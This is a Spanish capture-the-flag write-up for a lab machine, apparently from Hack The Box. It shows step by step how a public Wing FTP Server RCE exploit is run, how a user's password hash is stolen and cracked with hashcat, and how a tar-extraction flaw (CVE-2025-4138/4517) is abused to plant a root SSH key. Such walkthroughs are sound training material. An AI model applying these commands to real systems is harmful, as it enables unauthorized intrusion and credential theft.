

Reconocimiento

IP: 10.129.244.106

DIFICULTAD: Fácil.

Escaneo

```
nmap -Pn -n -p- --min-rate 1000 10.129.244.106
nmap -Pn -sV -n -p 22,80 --min-rate 1000 10.129.244.106
```

PORT	STATE	SERVICE	VERSION
22/TCP	Open	ssh	OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/TCP	Open	http	Apache httpd 2.4.66

Según Botinex el puerto 22 tiene una versión muy reciente que no es explotable directamente, por lo que nuestro principal vector de ataque sera por el puerto 80.

Enumeración

Empezamos a hacer una lista detallada de lo que hay dentro de ese puerto. Agrego en el archivo de host el dominio wingdata.htb en donde encuentro:

1. Home
2. About Us
3. Services
4. Contact Us
5. Client Portal

Al entrar a la sección de Client Portal la pagina redirige al subdominio ftp.wingdata.htb el cual también agrego al archivo de host, este subdominio tiene un panel de autenticación en el cual se encuentra que el software fue desarrollado por **Wing FTP Server v7.4.3**

Explotación

Se usa la herramienta searchsploit para buscar exploits conocidos y se encuentra un RCE, se descarga y se usa teniendo éxito, por lo que se procede a buscar información dentro de los directorios.

```
python 52347.py -u http://ftp.wingdata.htb/ -c "pwd"
>> /opt/wftpserver

python 52347.py -u http://ftp.wingdata.htb/ -c "ls /"
python 52347.py -u http://ftp.wingdata.htb/ -c "ls /home/"
>> wacky
```

Ya que sabemos que wacky es el usuario principal, por lo que se busca mas información de este usuario, en el directorio actual.

```
python 52347.py -u http://ftp.wingdata.htb/ -c "ls"
python 52347.py -u http://ftp.wingdata.htb/ -c "ls Data/"
python 52347.py -u http://ftp.wingdata.htb/ -c "ls Data/1/users/"
>> wacky.xml
```

Se intenta ver directamente el archivo pero no se puede, entonces el objetivo es observar estos archivos de alguna forma, recordando que al entrar al subdominio ftp.wingdata.htb la URL completa queda de la forma <http://ftp.wingdata.htb/login.html> por lo que buscamos este archivo dentro de nuestros directorio

```
python 52347.py -u http://ftp.wingdata.htb/ -c "find . -name 'login.html'"
>> ./webclient/login.html
```

En este punto ya se sabe que si creo un archivo en ./webclient/ puedo verlo directamente en el navegador, por lo que se procede a usar el comando

```
python 52347.py -u http://ftp.wingdata.htb/ -c "cp Data/1/users/wacky.xml
/opt/wftpserver/webclient/wackly.txt"
```

Se procede a ver la ruta <http://ftp.wingdata.htb/wackly.txt> y acá se obtiene la contraseña en forma de hash

```
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
```

Usando el comando

```
hash-identifier 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
>> SHA-256
```

Ademas, investigando se sabe que Wing FTP le agrega un valor extra (una sal) antes de hashear, por lo que se debe buscar la sal, buscando mas información en el directorio actual sabemos que puede haber información en los archivos de tipo binario (ELF), así que usando el comando

```
python 52347.py -u http://ftp.wingdata.htb/ -c "file *"  
>> wftpconsole  
>> wftpserver
```

El archivo que mas llama la atención es wftpserver por lo que procedemos a verlo con el comando

```
python 52347.py -u http://ftp.wingdata.htb/ -c "strings wftpserver | grep -i 'salt' -A 1"  
>> WingFTP
```

Agregamos esta sal a nuestro hash y lo intentamos descifrar con el comando

```
hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt  
>> !#7Blushing^*Bride5
```

Ahora que se tiene el usuario wacky y la contraseña !#7Blushing^*Bride5 se intenta conectar al SSH

```
ssh wacky@ftp.wingdata.htb
```

Una vez dentro se procede a escalar los privilegios, primero revisamos que archivos podemos ejecutar como root

```
sudo -l  
>> (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
```

revisando el código de restore_backup_clients.py se obtiene la linea

```
tar.extractall(path=staging_dir, filter="data")
```

esta linea es clave porque permite extraer un archivo .tar que tenga dentro código malicioso, para poder hacer un código de explotación se uso como referencia el repositorio <https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git> este repositorio une CVE-2025-4138 (buffer overflow) y CVE-2025-4517 (ownership persistence), se crea un script con ayuda del repositorio <https://github.com/DesertDemons/CVE-2025-4138-4517->

[POC.git](#) que permite explotar estas dos vulnerabilidades. Se crea un archivo .tar (que es lo que extrae `restore_backup_clients.py`) y dentro va el código malicioso que aprovecha las CVE, el objetivo de esto es poder poner una llave publica como usuario root en la ruta `/root/.ssh/authorized_keys` y poder acceder a ella por medio del protocolo SSH (como nosotros creamos la llave sin contraseña, al momento de usar el protocolo no se pedirá ninguna), una vez que se hizo esto, para escalar los privilegios a root solo basto con usar el comando

```
ssh root@127.0.0.1
```

Postexplotación

Ya siendo la máxima autoridad de la maquina se procede a buscar las banderas. Empezando con la bandera del usuario se usa el comando

```
find / -name "user.txt" 2>/dev/null
>> /home/wacky/user.txt
cat /home/wacky/user.txt
>> 1b83dee10eb521bed97b40020f979df7
```

Para la bandera del root

```
find / -name "root.txt" 2>/dev/null
>> /root/root.txt
cat /root/root.txt
>> cca431e4b790f5a0d9b85c1f31b602bb
```